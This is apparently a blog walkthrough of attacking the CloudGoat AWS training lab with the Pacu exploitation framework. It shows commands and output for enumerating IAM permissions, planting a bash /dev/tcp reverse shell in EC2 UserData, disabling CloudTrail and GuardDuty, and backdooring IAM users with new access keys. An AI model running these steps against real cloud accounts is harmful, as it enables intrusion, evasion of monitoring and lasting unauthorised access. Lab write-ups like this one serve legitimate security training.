Playing with CloudGoat part 5: hacking AWS with Pacu

This is the final part of the “Playing with CloudGoat” series. In this post I’m going to introduce you the AWS exploitation framework — Pacu. Through parts 1, 2, 3 and 4 I was hacking CloudGoat using AWS CLI and some external tools. Today I’ll go through some of the CloudGoat scenarios, but this time using Pacu. I’ll show you how hacking AWS services can be done quicker and easier.

Few words about the Pacu

In the Pacu repository you can find the following description of the framework:

“Pacu is an open source AWS exploitation framework, designed for offensive security testing against cloud environments. Created and maintained by Rhino Security Labs, Pacu allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more.”

Pacu is quite well documented. So instead of copy/paste it here, just visit its wiki where you can find detailed explanations and even video tutorials. Enough theory… let’s see how it works in practice!

Launching Pacu

Once you start Pacu you’re asked for naming your session.

This is actually very handy feature, especially for pentesters. Just imagine when you’re dealing with several separated projects. Handling different keys, different enumerations and different findings can be quite challenging. But with Pacu’s sessions you can store data from each project in a separated session and later easily get back to it.

When it’s your first run of Pacu, then a help command is your biggest friend. Typing a help will list all available commands and typing help [module name] will display a help for the module (what is it for, how to use it and what are available options).

Let’s get hands dirty!

On the example of CloudGoat let’s see how helpful Pacu can be. The first thing after naming a session is to import keys and set region(s) for your session.

From the AWS CLI you have to always remember about adding a proper profile name at the end of each command, right? But when you’re using Pacu you can forget about it and simply use a command swap_keys and choose in terms of which user you want to work.

Similarly to Metasploit, Pacu uses modules. To list them all in a sorted way, based on its purpose, just type ls command.

So what is the first step once you gain access keys? Certainly, enumerating permissions and determining what you’re allowed to do, would be helpful in further penetration. If your user have IAM privileges to list and get attached to user policies, then you can enumerate your permissions using the following command:

> run iam__enum_permissions
Running module iam__enum_permissions...
[iam__enum_permissions] Confirming permissions for users:
[iam__enum_permissions] bob...
[iam__enum_permissions] Confirmed Permissions for bob
[iam__enum_permissions] iam__enum_permissions completed.
[iam__enum_permissions] MODULE SUMMARY:
Confirmed permissions for user: bob.
Confirmed permissions for 0 role(s).

Typing a command whoami displays Bob’s permissions. If you want to enumerate permissions for all users, then simply run the command run iam__enum_permission --all-users and you’ll find a separate JSON file for each user in the folder ./sessions/[your session name]/downloads/confirmed_permissions/.

Going back to the scenario from the first part of this series, let’s make a reconnaissance regarding EC2 service:

> run ec2__enum
Running module ec2__enum...
[ec2__enum] Starting region us-west-2...
[ec2__enum] 2 instance(s) found.
[ec2__enum] 15 security groups(s) found.
[ec2__enum] FAILURE:
[ec2__enum] Access denied to DescribeAddresses.
[ec2__enum] Skipping elastic IP enumeration...
[ec2__enum] 0 elastic IP address(es) found.
[ec2__enum] FAILURE:
[ec2__enum] Access denied to DescribeCustomerGateways.
[ec2__enum] Skipping VPN customer gateway enumeration...
[ec2__enum] 0 VPN customer gateway(s) found.
[intentionally removed output]
[ec2__enum] MODULE SUMMARY:
2 total instance(s) found.
15 total security group(s) found.
4 total subnets(s) found.
1 total VPC(s) found.

But wait… where’s enumerated data?! In order to have constant access to retrieved data without a need to scroll your terminal window or saving the output in the external files, this information is hidden behind data EC2 command. Once you’ve performed multiple enumerations it’s easy to get lost, being flooded with the output. However, in Pacu you can manage it in much easier way: simply run command services and the tool will display all services which are already enumerated. Want to see this data? Then type the following command: data <name of the service> (note that the service name is case sensitive!), for example:

Pacu (Hack_the_CloudGoat:Bob) > services
Pacu (Hack_the_CloudGoat:Bob) > data EC2
"Instances": [
"AmiLaunchIndex": 0,
"Architecture": "x86_64",
"BlockDeviceMappings": [
"DeviceName": "/dev/xvda",
"Ebs": {
"AttachTime": "Tue, 26 Feb 2019 19:56:48",
"DeleteOnTermination": true,
"Status": "attached",
"VolumeId": "vol-065d9d7aad68e0177"


In the exploit section of the Pacu’s modules you will find pretty handy scripts. Do you remember in part 1 of this series what was the attack vector? The steps were the following:

  1. stop the instance
  2. update its UserData with reverse shell
  3. start a local listener to catch a reverse shell
  4. start the instance
  5. profit!

But in Pacu you can do all those steps in just one command, in my case it is:

> run ec2__startup_shell_script --script --instance-ids i-041f94160e4f1e316@us-west-2
Running module ec2__startup_shell_script...
[ec2__startup_shell_script] Stopping i-041f94160e4f1e316
[ec2__startup_shell_script] Setting User Data for i-041f94160e4f1e316
[ec2__startup_shell_script] Starting i-041f94160e4f1e316
[ec2__startup_shell_script] ec2__startup_shell_script completed.
[ec2__startup_shell_script] MODULE SUMMARY:
1 Instance(s) Modified

where contains a reverse shell:

bash -i >& /dev/tcp/[my_ip]/[my_port] 0>&1
In theory it should be even easier and you should be able to start a local listener in Pacu using the command proxy start [local ip] [local port] which should allow you to manage this shell from Pacu’ console as well as pivot commands through the newly compromised machine. Yes “in theory”, because at the moment of writing this post something didn’t work as it should and I was unable to use it. But for sure it’ll be soon fixed so stay aware of this great feature!

Staying under the hood

Ok, you’ve already escalated privileges to administrator, then what? Quite smart move would be to hide your actions from any monitoring service (like CloudTrail, CloudWatch alarms or GuardDuty) which may alarm administrators and block your further lateral movements, wouldn’t it? Again, Pacu gives a helping hand here. Simply run one command to enumerate all those monitoring services: run detection__enum_services. Then to display data use data command:

> data CloudTrail
"Trails": [
"HasCustomEventSelectors": false,
"HomeRegion": "us-west-2",
"IncludeGlobalServiceEvents": true,
"IsMultiRegionTrail": false,
"LogFileValidationEnabled": true,
"Name": "cloudgoat_trail",
"Region": "us-west-2",
"S3BucketName": "16242183631729158332334886424132196042474324643131628372",
"S3KeyPrefix": "cloudtrail",
"TrailARN": "arn:aws:cloudtrail:us-west-2:XXXXXXXXXXXX:trail/cloudgoat_trail"

Then, using a detection__disruption module you can disable or delete all those monitoring services. Here’s an example how to disable a CloudTrail and GuardDuty service:

> run detection__disruption --trails cloudgoat_trail@us-west-2 --detectors 7ab496d17a483855b592b38e15689568@us-west-2
Running module detection__disruption...
[detection__disruption] Starting GuardDuty...
[detection__disruption] Starting region us-west-2...
[detection__disruption] GuardDuty detector ID: 7ab496d17a483855b592b38e15689568
Do you want to disable (dis), delete (del), or skip (s) it? (dis/del/s) dis
[detection__disruption] Successfully disabled detector 7ab496d17a483855b592b38e15689568!
[detection__disruption] GuardDuty finished.
[detection__disruption] Starting CloudTrail...
[detection__disruption] Starting region us-west-2...
[detection__disruption] CloudTrail trail name: cloudgoat_trail
Do you want to disable (dis), delete (del), minimize (m), or skip (s) it? (dis/del/m/s) dis
[detection__disruption] Successfully disabled trail cloudgoat_trail!
[detection__disruption] CloudTrail finished.
[detection__disruption] No rules found. Skipping Config rules...
[detection__disruption] No recorders found. Skipping Config recorders...
[detection__disruption] No aggregators found. Skipping Config aggregators...
[detection__disruption] No alarms found. Skipping CloudWatch...
[detection__disruption] No flow logs found. Skipping VPC...
[detection__disruption] detection__disruption completed.
[detection__disruption] MODULE SUMMARY:
1 detector(s) disabled.
0 detector(s) deleted.
1 trail(s) disabled.
0 trail(s) deleted.
0 trail(s) minimized.

Please take a note, that regarding CloudTrail services you can also minimize a trail, what means you leave the service enabled but with a disabled few options, such as: global service event logging, multi-regional log collection, log file validation and log file encryption.

Persist access

Once the “big brother” doesn’t see your actions, it’s time to set a backdoor access. If you remember the part 2 of this series, I created additional access keys to each user by running one of aws_pwn script. In Pacu, this task is even easier, because all you have to do is running the following module:

> run iam__backdoor_users_keys --usernames bob,joe,administrator
Running module iam__backdoor_users_keys...
[iam__backdoor_users_keys] Backdoor the following users?
[iam__backdoor_users_keys] bob
[iam__backdoor_users_keys] Access Key ID: XXX
[iam__backdoor_users_keys] Secret Key: XXX
[iam__backdoor_users_keys] joe
[iam__backdoor_users_keys] Access Key ID: XXX
[iam__backdoor_users_keys] Secret Key: XXX
[iam__backdoor_users_keys] administrator
[iam__backdoor_users_keys] Access Key ID: XXX
[iam__backdoor_users_keys] Secret Key: XXX
[iam__backdoor_users_keys] iam__backdoor_users_keys completed.
[iam__backdoor_users_keys] MODULE SUMMARY:
3 user key(s) successfully backdoored.


Although some features/modules doesn’t work perfectly, Pacu makes AWS hacking much easier and much quicker than using AWS CLI. All the handy scripts you used to launch are now put into one tool. I see a great potential in this tool and cheer this project on. Even though I showed you in this post just a few modules, I hope that I convinced you enough to install Pacu and give it a shot. Let me know how do you like it!